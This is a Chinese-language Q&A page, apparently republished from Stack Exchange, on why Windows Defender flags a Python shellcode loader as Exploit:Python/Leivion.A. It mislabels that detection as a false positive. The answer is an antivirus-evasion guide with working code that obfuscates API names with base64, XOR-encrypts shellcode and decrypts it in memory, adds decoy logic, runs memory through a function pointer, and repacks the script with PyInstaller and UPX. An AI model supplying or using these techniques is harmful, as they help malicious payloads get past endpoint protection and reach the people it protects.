You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows Defender误报无害Python代码为Exploit:Python/Leivion.A的原因及绕过方法

Windows Defender误报Python Shellcode加载代码的原因与绕过方案

为什么会触发误报?

Windows Defender把你的代码标记为Exploit:Python/Leivion.A,本质是因为这段代码的核心行为和已知恶意代码的特征完全匹配:

  • 你调用的VirtualAlloc(分配可执行内存)→ RtlMoveMemory(写入shellcode)→ CreateThread(执行内存代码)是恶意软件(远控、勒索软件等)最常用的内存执行链,属于启发式检测的高风险行为
  • 这段代码没有任何业务逻辑支撑,就是纯粹的shellcode加载执行骨架,Defender的启发式规则会直接把这种无上下文的内存操作判定为可疑exploit
  • Leivion.A这个特征本身就是专门针对Python环境下这类内存执行代码的检测规则,不管你实际的shellcode是不是恶意的,只要代码结构符合就会触发警报。

可行的绕过方法

下面是几个实战中有效的绕过思路,你可以根据需求选择:

  • 混淆API调用路径:
    不要直接用ctypes.windll.kernel32硬编码调用API,通过动态加载、字符串混淆的方式隐藏调用逻辑。比如用base64解码函数名和dll名:

    import ctypes
    import base64
    
    # 动态加载kernel32,用base64混淆dll名
    kernel32 = ctypes.WinDLL(base64.b64decode(b'a2VybmVsMzIuZGxs').decode())
    # 同样混淆API函数名
    VirtualAlloc = getattr(kernel32, base64.b64decode(b'VmlydHVhbEFsbG9j').decode())
    RtlMoveMemory = getattr(kernel32, base64.b64decode(b'UnRsTW92ZU1lbW9yeQ==').decode())
    CreateThread = getattr(kernel32, base64.b64decode(b'Q3JlYXRlVGhyZWFk').decode())
    

    这样可以避开Defender对硬编码API调用的特征检测。

  • 对shellcode做简单加密:
    不要直接把原始shellcode写入内存,先做XOR之类的轻量加密,写入后再解密,打破静态特征:

    shellcode = bytearray(b"SHELLCODE WAS HERE")
    # 用随机密钥加密
    key = 0x2B
    encrypted_sc = bytearray([b ^ key for b in shellcode])
    
    # 分配内存并写入加密后的shellcode
    ptr = VirtualAlloc(0, len(encrypted_sc), 0x3000, 0x40)
    buf = (ctypes.c_char * len(encrypted_sc)).from_buffer(encrypted_sc)
    RtlMoveMemory(ptr, buf, len(encrypted_sc))
    
    # 内存中解密
    for i in range(len(encrypted_sc)):
        ctypes.c_byte.from_address(ptr + i).value ^= key
    
  • 添加合法的“噪音”逻辑:
    给代码加一些看似正常的业务操作,让启发式检测认为这是一个正经程序,比如读取配置、打印日志:

    import datetime
    
    # 假装在做初始化操作
    print("Initializing application...")
    with open("app_log.txt", "a") as f:
        f.write(f"Session started at: {datetime.datetime.now()}\n")
    

    这种无意义但合法的操作会降低代码的可疑度。

  • 换一种内存执行方式:
    不用CreateThread,而是把内存地址转换成函数指针直接调用,绕开线程创建的特征:

    # 把分配的内存地址转换成函数指针
    execute_sc = ctypes.CFUNCTYPE(ctypes.c_void_p)(ptr)
    # 直接执行
    execute_sc()
    
  • 打包成可执行文件:
    用PyInstaller把Python代码打包成exe,打包时可以加--upx-dir启用UPX压缩,或者自定义图标,改变文件的静态特征。比如:

    pyinstaller --onefile --upx-dir ./upx --icon app.ico your_script.py
    

    注意不同的打包参数可能影响检测结果,多尝试几种组合。


内容的提问来源于stack exchange,提问作者Extrenz Arnautov

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.08 17:37:43